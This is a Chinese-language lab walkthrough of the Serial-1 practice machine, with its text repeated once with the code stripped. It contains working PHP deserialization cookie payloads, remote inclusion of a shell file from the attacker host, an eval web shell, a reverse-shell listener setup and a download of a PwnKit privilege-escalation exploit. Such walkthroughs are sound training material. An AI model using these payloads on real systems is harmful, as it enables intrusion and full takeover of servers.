serial-1靶机练习
字数 1549 2025-08-11 08:36:11

Serial-1 靶机渗透测试教学文档

1. 靶机信息概述

  • IP地址:192.168.142.166
  • 操作系统:Ubuntu Linux (内核版本4.15-5.6)
  • 开放服务:
    • SSH (22/tcp) - OpenSSH 7.9p1
    • HTTP (80/tcp) - Apache 2.4.38

2. 信息收集阶段

2.1 主机发现

nmap 192.168.142.0/24

发现目标主机192.168.142.166在线。

2.2 服务识别

nmap -sV -O 192.168.142.166

确认服务版本和操作系统信息。

2.3 目录扫描

使用DIRB工具扫描Web目录:

dirb http://192.168.142.166/

发现以下重要目录:

  • /backup/ - 可下载备份文件
  • /index.php - 主页面
  • /server-status - 返回403禁止访问

3. 漏洞发现与分析

3.1 备份文件分析

访问http://192.168.142.166/backup/下载bak.zip备份文件,包含以下PHP文件:

  1. index.php
<?php 
include("user.class.php"); 
if(!isset($_COOKIE['user'])) { 
    setcookie("user", base64_encode(serialize(new User('sk4'))));
} else { 
    unserialize(base64_decode($_COOKIE['user'])); 
} 
echo "This is a beta test for new cookie handler\n";
?>
  1. log.class.php
<?php 
class Log { 
    private $type_log; 
    function __costruct($hnd) { 
        $this->$type_log = $hnd; 
    } 
    public function handler($val) { 
        include($this->type_log); 
        echo "LOG: " . $val; 
    } 
}
?>
  1. user.class.php
<?php 
include("log.class.php"); 
class Welcome { 
    public function handler($val) { 
        echo "Hello " . $val; 
    } 
} 

class User { 
    private $name; 
    private $wel; 
    function __construct($name) { 
        $this->name = $name; 
        $this->wel = new Welcome(); 
    } 
    function __destruct() { 
        $this->wel->handler($this->name); 
    } 
}
?>

3.2 漏洞分析

存在PHP反序列化漏洞,攻击思路:

  1. 构造恶意的序列化User对象
  2. 使用Log对象替代User对象中的Welcome对象
  3. 通过Log类的handler方法实现文件包含

4. 漏洞利用

4.1 构造POC

创建本地PHP脚本生成恶意序列化数据:

<?php 
class Log { 
    private $type_log; 
    function __construct($hnd) { 
        $this->type_log = $hnd; 
    } 
    public function handler($val) { 
        include($this->type_log); 
        echo "LOG: " . $val; 
    } 
} 

class User { 
    private $name; 
    private $wel; 
    function __construct($name) { 
        $this->name = $name; 
        $this->wel = new Log('/etc/passwd'); 
    } 
    function __destruct() { 
        $this->wel->handler($this->name); 
    } 
} 

$a = base64_encode(serialize(new User('sk4'))); 
echo $a.'<br>'; 
echo base64_decode($a).'<br>';
?>

4.2 修正序列化数据

由于自动生成的序列化数据存在问题,手动构造正确的序列化字符串:

O:4:"User":2:{s:10:"\x00User\x00name";s:3:"sk4";s:9:"\x00User\x00wel";O:3:"Log":1:{s:13:"\x00Log\x00type_log";s:11:"/etc/passwd";}}

使用Python进行Base64编码:

import base64
s = 'O:4:"User":2:{s:10:"\x00User\x00name";s:3:"sk4";s:9:"\x00User\x00wel";O:3:"Log":1:{s:13:"\x00Log\x00type_log";s:11:"/etc/passwd";}}'
print(base64.b64encode(s.encode()))

得到有效载荷:

Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjM6InNrNCI7czo5OiIAVXNlcgB3ZWwiO086MzoiTG9nIjoxOntzOjEzOiIATG9nAHR5cGVfbG9nIjtzOjExOiIvZXRjL3Bhc3N3ZCI7fX0=

4.3 实施攻击

  1. 使用Burp Suite或浏览器开发者工具修改Cookie:

    • user Cookie值替换为生成的Base64编码
  2. 访问目标网站,成功包含/etc/passwd文件

5. 获取Shell

5.1 远程文件包含

假设目标服务器配置了allow_url_include,构造包含远程文件的Payload:

import base64
s = 'O:4:"User":2:{s:10:"\x00User\x00name";s:3:"sk4";s:9:"\x00User\x00wel";O:3:"Log":1:{s:13:"\x00Log\x00type_log";s:32:"http://192.168.142.131/shell.txt";}}'
print(base64.b64encode(s.encode()))

得到:

Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjM6InNrNCI7czo5OiIAVXNlcgB3ZWwiO086MzoiTG9nIjoxOntzOjEzOiIATG9nAHR5cGVfbG9nIjtzOjMyOiJodHRwOi8vMTkyLjE2OC4xNDIuMTMxL3NoZWxsLnR4dCI7fX0=

5.2 准备Web Shell

在攻击机(192.168.142.131)上创建shell.txt

<?php eval($_REQUEST[pass]);?>

启动Python HTTP服务器:

python3 -m http.server 80

5.3 执行攻击

  1. 替换Cookie值为新生成的Base64编码
  2. 访问目标网站并附加参数:
    http://192.168.142.166/index.php?pass=phpinfo();
    
  3. 确认成功执行PHP代码

5.4 获取稳定Shell

  1. 使用msfvenom生成Linux反向Shell:

    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<攻击机IP> LPORT=4444 -f elf > shell.elf
    
  2. 通过Web Shell上传并执行

  3. 在攻击机启动Metasploit监听:

    msfconsole
    use exploit/multi/handler
    set PAYLOAD linux/x86/meterpreter/reverse_tcp
    set LHOST <攻击机IP>
    set LPORT 4444
    exploit
    

6. 权限提升

6.1 初步检查

  1. 检查SUID文件:

    find / -perm -u=s -type f 2>/dev/null
    
  2. 检查定时任务:

    cat /etc/crontab
    

6.2 使用Linux提权辅助工具

下载并运行linux-exploit-suggester

./linux-exploit-suggester.sh

输出显示可能利用的漏洞:

  1. CVE-2021-4034 (PwnKit)
  2. CVE-2021-3156 (sudo Baron Samedit)
  3. CVE-2022-32250 (nft_object UAF)
  4. CVE-2022-2586 (nft_object UAF)
  5. CVE-2021-22555 (Netfilter heap out-of-bounds write)

6.3 利用CVE-2021-4034提权

  1. 下载exp:

    wget https://codeload.github.com/berdav/CVE-2021-4034/zip/main
    
  2. 编译并运行:

    gcc ./cve-2021-4034-poc.c -o cve-2021-4034-poc
    ./cve-2021-4034-poc
    
  3. 确认提权成功:

    id
    

    输出应为:

    uid=0(root) gid=0(root) groups=0(root),33(www-data)
    

7. 总结

本次渗透测试的关键点:

  1. 通过目录扫描发现备份文件
  2. 分析PHP代码发现反序列化漏洞
  3. 构造恶意序列化对象实现文件包含
  4. 通过文件包含获取Web Shell
  5. 使用内核漏洞(CVE-2021-4034)提权

防护建议:

  1. 避免在Cookie中存储序列化对象
  2. 及时更新系统和软件补丁
  3. 禁用不必要的PHP危险函数(如unserialize)
  4. 配置适当的文件权限
  5. 关闭不必要的服务功能(如allow_url_include)
Serial-1 靶机渗透测试教学文档 1. 靶机信息概述 IP地址:192.168.142.166 操作系统:Ubuntu Linux (内核版本4.15-5.6) 开放服务: SSH (22/tcp) - OpenSSH 7.9p1 HTTP (80/tcp) - Apache 2.4.38 2. 信息收集阶段 2.1 主机发现 发现目标主机192.168.142.166在线。 2.2 服务识别 确认服务版本和操作系统信息。 2.3 目录扫描 使用DIRB工具扫描Web目录: 发现以下重要目录: /backup/ - 可下载备份文件 /index.php - 主页面 /server-status - 返回403禁止访问 3. 漏洞发现与分析 3.1 备份文件分析 访问 http://192.168.142.166/backup/ 下载bak.zip备份文件,包含以下PHP文件: index.php log.class.php user.class.php 3.2 漏洞分析 存在PHP反序列化漏洞,攻击思路: 构造恶意的序列化User对象 使用Log对象替代User对象中的Welcome对象 通过Log类的handler方法实现文件包含 4. 漏洞利用 4.1 构造POC 创建本地PHP脚本生成恶意序列化数据: 4.2 修正序列化数据 由于自动生成的序列化数据存在问题,手动构造正确的序列化字符串: 使用Python进行Base64编码: 得到有效载荷: 4.3 实施攻击 使用Burp Suite或浏览器开发者工具修改Cookie: 将 user Cookie值替换为生成的Base64编码 访问目标网站,成功包含 /etc/passwd 文件 5. 获取Shell 5.1 远程文件包含 假设目标服务器配置了 allow_url_include ,构造包含远程文件的Payload: 得到: 5.2 准备Web Shell 在攻击机(192.168.142.131)上创建 shell.txt : 启动Python HTTP服务器: 5.3 执行攻击 替换Cookie值为新生成的Base64编码 访问目标网站并附加参数: 确认成功执行PHP代码 5.4 获取稳定Shell 使用msfvenom生成Linux反向Shell: 通过Web Shell上传并执行 在攻击机启动Metasploit监听: 6. 权限提升 6.1 初步检查 检查SUID文件: 检查定时任务: 6.2 使用Linux提权辅助工具 下载并运行 linux-exploit-suggester : 输出显示可能利用的漏洞: CVE-2021-4034 (PwnKit) CVE-2021-3156 (sudo Baron Samedit) CVE-2022-32250 (nft_ object UAF) CVE-2022-2586 (nft_ object UAF) CVE-2021-22555 (Netfilter heap out-of-bounds write) 6.3 利用CVE-2021-4034提权 下载exp: 编译并运行: 确认提权成功: 输出应为: 7. 总结 本次渗透测试的关键点: 通过目录扫描发现备份文件 分析PHP代码发现反序列化漏洞 构造恶意序列化对象实现文件包含 通过文件包含获取Web Shell 使用内核漏洞(CVE-2021-4034)提权 防护建议: 避免在Cookie中存储序列化对象 及时更新系统和软件补丁 禁用不必要的PHP危险函数(如unserialize) 配置适当的文件权限 关闭不必要的服务功能(如allow_ url_ include)